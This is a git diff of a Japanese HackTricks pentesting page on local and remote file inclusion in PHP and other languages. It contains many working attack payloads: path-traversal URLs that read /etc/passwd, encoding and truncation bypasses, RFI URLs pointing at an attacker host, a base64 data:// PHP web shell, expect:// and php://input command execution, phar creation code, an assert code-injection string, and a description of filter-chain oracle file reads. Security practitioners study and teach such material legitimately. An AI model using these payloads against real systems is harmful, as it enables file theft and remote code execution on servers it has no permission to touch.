* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**してください。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
|
||||
|
@ -24,8 +24,8 @@ HackTricks をサポートする他の方法:
|
|||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
|
||||
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を得る
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
|
||||
|
@ -34,7 +34,7 @@ HackTricks をサポートする他の方法:
|
|||
**リモートファイルインクルージョン(RFI):** ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで **無効** です(**allow\_url\_include**)。\
|
||||
**ローカルファイルインクルージョン(LFI):** サーバーがローカルファイルを読み込みます。
|
||||
|
||||
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをある方法で制御できる場合に発生します。
|
||||
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをいくつかの方法で制御できる場合に発生します。
|
||||
|
||||
脆弱な **PHP関数**: require、require\_once、include、include\_once
|
||||
|
||||
|
@ -53,7 +53,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
`/` を `\` に変更してみてください\
|
||||
`../../../../../` を追加してみてください
|
||||
|
||||
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) で見つけることができます。
|
||||
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
|
||||
|
||||
### **Windows**
|
||||
|
||||
|
@ -62,9 +62,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
`/` を `\` に変更してみてください\
|
||||
`C:/` を削除して `../../../../../` を追加してみてください
|
||||
`C:/` を削除し、`../../../../../` を追加してみてください
|
||||
|
||||
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) で見つけることができます。
|
||||
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
|
||||
|
||||
### **OS X**
|
||||
|
||||
|
@ -72,11 +72,11 @@ Linux の LFI リストをチェックしてください。
|
|||
|
||||
## 基本的な LFI とバイパス
|
||||
|
||||
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
|
||||
すべての例はローカルファイルインクルージョンに対してですが、リモートファイルインクルージョンにも適用できます(page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### 非再帰的に取り除かれたトラバーサルシーケンス
|
||||
### 非再帰的にトラバーサルシーケンスが削除されました
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -84,7 +84,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||
```
|
||||
### **ヌルバイト (%00)**
|
||||
|
||||
提供された文字列の末尾に追加の文字をバイパスする(バイパス方法: $\_GET\['param']."php")
|
||||
提供された文字列の末尾にさらに文字を追加してバイパスする(バイパス方法: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
@ -92,7 +92,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
|||
|
||||
### **エンコーディング**
|
||||
|
||||
ダブルURLエンコード(その他も含む)など、標準でないエンコーディングを使用することができます:
|
||||
ダブルURLエンコードなどの非標準のエンコーディングを使用できます:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -101,7 +101,7 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||
```
|
||||
### 既存のフォルダから
|
||||
|
||||
もしかしたら、バックエンドがフォルダのパスをチェックしているかもしれません:
|
||||
バックエンドがフォルダのパスをチェックしている可能性があります:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
|
@ -109,39 +109,34 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
|
||||
サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:
|
||||
|
||||
1. **ディレクトリの深さを特定する:**
|
||||
現在のディレクトリの深さを確認するには、`/etc/passwd`ファイルを正常に取得することによって(サーバーがLinuxベースの場合に適用される)、ディレクトリの深さを確定します。深さが3であることを示す、以下のような構造の例のURLがあります:
|
||||
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd` ファイルを正常に取得することによって(サーバーがLinuxベースの場合に適用されます)、ディレクトリの深さを確定します。深さが3であることを示す、以下のような構造の例のURLがあります:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **フォルダの探索:**
|
||||
URLに疑わしいフォルダの名前(例:`private`)を追加し、次に`/etc/passwd`に戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります:
|
||||
2. **フォルダの探索:** 疑わしいフォルダの名前(例:`private`)をURLに追加し、次に`/etc/passwd`に戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **結果の解釈:**
|
||||
サーバーの応答により、フォルダが存在するかどうかが示されます:
|
||||
- **エラー / 出力なし:** `private` フォルダはおそらく指定された場所に存在しない可能性があります。
|
||||
- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されました。
|
||||
3. **結果の解釈:** サーバーの応答により、フォルダが存在するかどうかが示されます:
|
||||
* **エラー / 出力なし:** 指定された場所におそらく`private`フォルダは存在しません。
|
||||
* **`/etc/passwd`の内容:** `private`フォルダの存在が確認されました。
|
||||
4. **再帰的な探索:** 発見されたフォルダは、同じ技術または従来のローカルファイルインクルージョン(LFI)メソッドを使用して、さらにサブディレクトリやファイルを調査できます。
|
||||
|
||||
4. **再帰的な探索:**
|
||||
発見したフォルダは、同じ技術または従来のローカルファイルインクルージョン(LFI)方法を使用して、さらにサブディレクトリやファイルを調査できます。
|
||||
|
||||
ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、現在のディレクトリが深さ3であると仮定して、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認するには、次のようにします:
|
||||
ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、`/var/www/`に`private`ディレクトリが含まれているかどうかを確認するには(現在のディレクトリが深さ3にあると仮定)、次のように使用します:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **パス切り詰め技術**
|
||||
|
||||
パス切り詰めは、Webアプリケーション内のファイルパスを操作するための手法です。これは、特定のセキュリティ対策がファイルパスの末尾に追加の文字を付加することで、制限されたファイルにアクセスするためにしばしば使用されます。目標は、セキュリティ対策によって変更されたファイルパスが、依然として目的のファイルを指すようにすることです。
|
||||
パス切り詰めは、Webアプリケーション内のファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字列を付加する特定のセキュリティ対策をバイパスして、制限されたファイルにアクセスするためによく使用されます。目標は、セキュリティ対策によって変更された後も、望ましいファイルを指すファイルパスを作成することです。
|
||||
|
||||
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば:
|
||||
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、`/etc/passwd/` はすべて同じパスとして扱われます。
|
||||
- 最後の6文字が `passwd` の場合、`/` を追加して `passwd/` にすると、対象のファイルが変わらない。
|
||||
- 同様に、ファイルパスに `.php` が追加されている場合(例: `shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
|
||||
* `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、`/etc/passwd/` はすべて同じパスとして扱われます。
|
||||
* 最後の6文字が `passwd` の場合、`/` を追加して `passwd/` にすると、対象のファイルが変わらない。
|
||||
* 同様に、ファイルパスに `.php` が追加されている場合(例: `shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
|
||||
|
||||
提供された例は、パス切り詰めを利用して `/etc/passwd` にアクセスする方法を示しています。これは、その中にユーザーアカウント情報などの機密情報が含まれているため、一般的なターゲットです。
|
||||
提供された例は、パス切り詰めを利用して一般的なターゲットである `/etc/passwd` にアクセスする方法を示しています。このファイルには機密情報(ユーザーアカウント情報)が含まれているため、よくターゲットとされます。
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -151,18 +146,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる可能性があります。
|
||||
これらのシナリオでは、必要なトラバーサルの数は約2027回程度になる場合がありますが、この数はサーバーの構成によって異なる可能性があります。
|
||||
|
||||
- **ドットセグメントと追加文字の使用**:
|
||||
トラバーサルシーケンス(`../`)は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視する効果的な方法となります。
|
||||
* **ドットセグメントと追加文字の使用**: トラバーサルシーケンス (`../`) は、追加のドットセグメントと文字と組み合わせてファイルシステムをナビゲートするために使用でき、サーバーによって追加された文字列を無視する効果があります。
|
||||
* **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、`../` シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後 `/etc/passwd` に移動するために必要な数を見つけることができます。これにより、追加された文字列(例: `.php`)が中立化されますが、目的のパス (`/etc/passwd`) はそのままになります。
|
||||
* **偽のディレクトリから始める**: 存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な方法です。このテクニックは予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
|
||||
|
||||
- **必要なトラバーサルの数を決定する**:
|
||||
試行錯誤を通じて、`../`シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な数を見つけることができます。これにより、追加された文字列(例: `.php`)が中立化され、しかし望ましいパス(`/etc/passwd`)が維持されます。
|
||||
|
||||
- **偽のディレクトリから始める**:
|
||||
存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な方法です。このテクニックは、予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
|
||||
|
||||
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要となる場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||||
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||||
|
||||
**この脆弱性はPHP 5.3で修正されました。**
|
||||
|
||||
|
@ -181,7 +171,7 @@ PHPでは、これはデフォルトで無効になっています。なぜな
|
|||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
もし何らかの理由で**`allow_url_include`**が**On**になっているが、PHPが外部ウェブページへのアクセスを**フィルタリング**している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)によれば、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードし、RCEを取得することができます:
|
||||
もし何らかの理由で**`allow_url_include`**が**On**になっているが、PHPが外部ウェブページへのアクセスを**フィルタリング**している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)によると、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードしてRCEを取得することができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -190,7 +180,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
前述のコードでは、最後の `+.txt` が追加された理由は、攻撃者が `.txt` で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミとなり、実際のPHPコードが含まれ(したがって、実行されます)。
|
||||
前のコードでは、最後の `+.txt` が追加されたのは、攻撃者が `.txt` で終わる文字列が必要だったためで、そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミを返し、実際のPHPコードが含まれ(したがって、実行されます)。
|
||||
{% endhint %}
|
||||
|
||||
`php://` プロトコルを使用しない別の例は次のとおりです:
|
||||
|
@ -208,7 +198,7 @@ Pythonでは、次のようなコードがある場合:
|
|||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
ユーザーが`file_name`に**絶対パス**を渡すと、**以前のパスが単に削除**されます。
|
||||
ユーザーが`file_name`に**絶対パス**を渡すと、**前のパスが単に削除**されます。
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
|
@ -219,11 +209,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||
|
||||
## Java ディレクトリのリスト
|
||||
|
||||
Java でパストラバーサルがある場合、**ファイルではなくディレクトリを要求**すると、**ディレクトリのリストが返される**ようです。これは他の言語では起こらないでしょう(私の知る限り)。
|
||||
Java でパストラバーサルがある場合、**ファイルではなくディレクトリを要求**すると、**ディレクトリのリストが返される**ようです。これは他の言語では起こらないようです(私の知る限り)。
|
||||
|
||||
## トップ25のパラメータ
|
||||
|
||||
以下は、ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([リンク](https://twitter.com/trbughunters/status/1279768631845494787)から取得):
|
||||
以下は、ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
|
@ -255,23 +245,23 @@ Java でパストラバーサルがある場合、**ファイルではなくデ
|
|||
|
||||
### php://filter
|
||||
|
||||
PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な**変更操作**を実行できます。フィルターには5つのカテゴリがあります:
|
||||
PHPフィルターを使用すると、データが読み取られる前または書き込まれる前に基本的な**変更操作**を実行できます。フィルターには5つのカテゴリがあります:
|
||||
|
||||
* [文字列フィルター](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: データからタグを削除します("<"と">"の間のすべて)
|
||||
* `string.strip_tags`: データからタグを削除します("<"と">"の文字の間のすべて)
|
||||
* このフィルターは、現代のPHPのバージョンから消えています
|
||||
* [変換フィルター](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します: `iconv -l`
|
||||
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します:`iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができ、任意のテキストを書き込んだり、関数を作成したりするのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を確認してください。
|
||||
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができ、任意のテキストを書き込んだり、関数を作成して任意のテキストを処理するのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を確認してください。
|
||||
{% endhint %}
|
||||
|
||||
* [圧縮フィルター](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -281,7 +271,7 @@ PHPフィルターを使用すると、データを読み取る前または書
|
|||
* `mcrypt.*` : 廃止予定
|
||||
* `mdecrypt.*` : 廃止予定
|
||||
* その他のフィルター
|
||||
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**が見つかります:
|
||||
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
|
||||
* `consumed`
|
||||
* `dechunk`: HTTPチャンクエンコーディングを逆にします
|
||||
* `convert.*`
|
||||
|
@ -312,17 +302,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
"php://filter" パートは大文字と小文字を区別しません
|
||||
"php://filter"の部分は大文字小文字を区別しません
|
||||
{% endhint %}
|
||||
|
||||
### phpフィルターをオラクルとして使用して任意のファイルを読み取る方法
|
||||
|
||||
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を受け取らずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルターをオラクルとして使用してファイルを1文字ずつ読み取る**ことに基づいています。これは、phpフィルターを使用してテキストを十分に大きくすることで、phpが例外をスローするようにすることができるためです。
|
||||
|
||||
元の投稿では、技術の詳細な説明が見つかりますが、ここでは簡単な要約を示します:
|
||||
|
||||
- テキストの先頭文字を残してテキストのサイズを指数関数的に増やすために、コーデック**`UCS-4LE`**を使用します。
|
||||
- これにより、**初期文字が正しく推測されたときに非常に大きなテキストが生成**され、phpが**エラーをトリガー**します。
|
||||
- **dechunk**フィルターは、最初の文字が16進数でない場合は**すべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
|
||||
- これは、最初の文字が16進数であるかどうかを確認するために、十分な変換を行って16進数文字ではなくなるまでを見ることで、テキストの先頭の文字を推測することができます。16進数であれば、dechunkはそれを削除せず、初期爆弾がphpエラーを引き起こします。
|
||||
- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換します(したがって、このコーデックを適用すると、a -> bになります)。これにより、たとえば最初の文字が`a`であるかどうかを発見できます。なぜなら、このコーデックを6回適用すると、a->b->c->d->e->f->gとなり、文字がもはや16進数文字ではなくなるため、dechunkがそれを削除せず、phpエラーがトリガーされるからです。
|
||||
- 初めに**rot13**などの他の変換を使用すると、n、o、p、q、rなどの他の文字を漏洩させることができます(他のコーデックを使用して他の文字を16進数範囲に移動させることもできます)。
|
||||
- 初期文字が数字の場合、それをbase64エンコードして最初の2文字を漏洩させ、数字を漏洩させる必要があります。
|
||||
- **初期文字以上のデータをどのように漏洩するか**を見る最終的な問題は、**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**などの順序メモリフィルターを使用して、文字の順序を変更し、テキストの他の文字を最初の位置に配置することができます。
|
||||
- さらに**データを取得するため**には、**convert.iconv.UTF16.UTF16**で**先頭に2バイトのジャンクデータを生成**し、**UCS-4LE**を適用して**次の2バイトと連動させ**、ジャンクデータまでデータを削除します(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返し、漏洩するための目的のビットに到達するまで続けます。
|
||||
|
||||
投稿では、これを自動的に実行するためのツールも漏洩されました:[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)。
|
||||
|
||||
### php://fd
|
||||
|
||||
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を持ち出すのに役立つかもしれません:
|
||||
このラッパーを使用すると、プロセスが開いているファイルディスクリプタにアクセスできます。開いているファイルの内容を漏洩するのに役立つ可能性があります:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
You can also use **php://stdin, php://stdout, and php://stderr** to access the **file descriptors 0, 1, and 2** respectively (not sure how this could be useful in an attack)
|
||||
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
|
@ -354,11 +362,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
このプロトコルは、phpの設定**`allow_url_open`**と**`allow_url_include`**によって制限されています。
|
||||
このプロトコルは、phpの設定によって制限されています **`allow_url_open`** および **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expectを有効にする必要があります。次のようにしてコードを実行できます:
|
||||
Expectを有効にする必要があります。これを使用してコードを実行できます:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -371,7 +379,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
`.phar`ファイルは、Webアプリケーションがファイルの読み込みに`include`などの関数を利用する場合に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
|
||||
`.phar`ファイルは、Webアプリケーションがファイルの読み込みに`include`などの関数を利用する場合に、PHPコードを実行するために利用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -386,7 +394,7 @@ php --define phar.readonly=0 create_path.php
|
|||
```
|
||||
実行すると、`test.phar`というファイルが作成され、ローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
|
||||
|
||||
LFIがPHPコードの実行なしにファイル読み取りのみを行う場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
|
||||
LFIがPHPコードの実行なしにファイルの読み取りのみを行う場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または`filesize()`などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
|
||||
|
||||
`.phar`ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:
|
||||
|
||||
|
@ -398,7 +406,7 @@ LFIがPHPコードの実行なしにファイル読み取りのみを行う場
|
|||
|
||||
### その他のプロトコル
|
||||
|
||||
ここに[ **含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください:
|
||||
より多くの可能性のある[ **ここに含めるプロトコル**](https://www.php.net/manual/en/wrappers.php)**をチェックしてください**:
|
||||
|
||||
* [php://memory および php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリ内または一時ファイルに書き込み(ファイルインクルージョン攻撃でどのように有用かは不明)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||
|
@ -411,13 +419,13 @@ LFIがPHPコードの実行なしにファイル読み取りのみを行う場
|
|||
|
||||
## PHPの 'assert' を介したLFI
|
||||
|
||||
PHPにおけるローカルファイルインクルージョン(LFI)リスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高いです。これは、ディレクトリトラバーサル文字("..")を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
|
||||
PHPにおけるローカルファイルインクルージョン(LFI)リスクは、文字列内のコードを実行できる 'assert' 関数を扱う際に特に高いです。これは、".. "のようなディレクトリトラバーサル文字を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
|
||||
|
||||
たとえば、PHPコードがディレクトリトラバーサルを防ぐように設計されている場合、次のようになります:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
これはトラバーサルを防ぐことを目的としていますが、偶然にもコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
|
||||
以下はトラバーサルを防ぐことを目的としていますが、結果的にコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
@ -440,21 +448,21 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
**最新のお知らせ**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
このテクニックは、**PHP関数**の**ファイルパス**を**制御**できる場合に関連します。ファイルにアクセスしますが、ファイルの内容は表示されません(単純な **`file()`** の呼び出しのように)。
|
||||
このテクニックは、**PHP関数**の**ファイルパス**を**制御**できる場合に関連します。ファイルの内容は表示されませんが、ファイルにアクセスする**PHP関数**(例:**`file()`**)が実行されます。
|
||||
{% endhint %}
|
||||
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) では、PHPフィルタを介して**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) では、PHPフィルタを介して**エラーオラクルを介してファイルの内容を外部に送信**するために、盲目的なパストラバーサルがどのように悪用されるかが説明されています。
|
||||
|
||||
要約すると、このテクニックは、ファイルの内容を**大きく**するために**"UCS-4LE"エンコーディング**を使用し、ファイルを開く**PHP関数**が**エラー**をトリガーするようにします。
|
||||
|
||||
その後、最初の文字を漏洩させるために、フィルタ **`dechunk`** が使用され、他のフィルタ(**base64** や **rot13** など)と最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** が使用され、他の文字を**先頭に配置して漏洩**されます。
|
||||
その後、最初の文字をリークするために、フィルタ**`dechunk`**が使用され、他のフィルタ(**base64**や**rot13**など)と最終的にフィルタ**convert.iconv.UCS-4.UCS-4LE**および**convert.iconv.UTF16.UTF-16BE**が使用され、他の文字を**先頭に配置してリーク**されます。
|
||||
|
||||
